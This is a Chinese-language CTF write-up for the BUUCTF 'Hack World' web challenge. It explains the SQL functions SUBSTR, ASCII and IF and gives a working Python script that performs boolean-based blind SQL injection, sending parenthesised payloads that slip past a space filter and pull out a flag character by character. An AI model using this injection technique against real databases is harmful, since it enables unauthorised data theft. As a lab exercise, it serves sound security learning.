python代码 - BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World

标准的UUID格式为：xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (8-4-4-4-12)
涉及到了几个SQL语句：

SUBSTR(string,start,count) 
取子字符串,从start开始,取count个 

ASCII(str)
返回字符串str的最左字符的数值。返回0，如果str为空字符串。返回NULL，如果str为NULL。 ASCII()返回数值是从0到255。
例如：
SQL> SELECT ASCII('2'); 返回2的ascii码50
SQL> SELECT ASCII('dx'); 返回d的ascii码100

IF(a,b,c)
if判断，如果a满足条件，返回b，否则返回c
例如：
SQL> select if(ascii("a")=99,1,2);    返回2

python代码：（不是二分查找）

import requests
import time

'''
分析
id=true或1 返回 Hello, glzjin wants a girlfriend. 可以利用
id=2 返回 Do you want to be my girlfriend?
id=(表达式) 根据返回结果，逐个字母判断flag值
查询flag的SQL语句(由于过滤了空格，要用括号代替)：(select(flag)from(flag))
使用SQL语句逐个取出flag字符：substr((select(flag)from(flag)),i,1) 从第i个取1一个字符
判断取出的的字符是什么字符：
根据什么判断？ascii
if(ascii(substr(select(flag)from(flag),i,1))=某ascii值,1,0)   正确返回1，错误返回0
每个字符都要进行判断，每次判断都要循环，所以是一个两层循环
'''

url = 'http://ea9211c6-ae0f-4e03-895e-007dd742f521.node4.buuoj.cn:81/index.php'
ch = ''
c = 0  # 记录一下循环次数
i = 1
asciivalue = 1
flag = 'flag{'

# mylist内容是包含ascii码值的列表，包括了对应的数字、字母、{}、-
mylist = list(range(45, 46)) + list(range(48, 58)) + list(range(65, 91)) + list(range(97, 124)) + list(range(125, 126))
for i in range(6, 50):

    for asciivalue in mylist:
        # 发出请求
        # POST中id的内容
        payload = 'if(ascii(substr((select(flag)from(flag)),{},1))={},1,0)'.format(i, asciivalue)

        data = {
            'id': payload
        }
        r = requests.post(url, data)
        time.sleep(0.2)

        # 检测回包内容

        c += 1
        if 'glzjin' in r.text:
            ch = chr(asciivalue)
            flag += ch
            print('\nGet it!!   {}'.format(flag))
            break
        else:
            print('.', end='')

    if ch == '}':
        print('Over!')
        break

print(flag)
print(c)
# flag{3e9bad6e-155d-4fe1-9d03-79c4de2f5321}
#      xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

几个基本的判断：

如有错误，还请指出！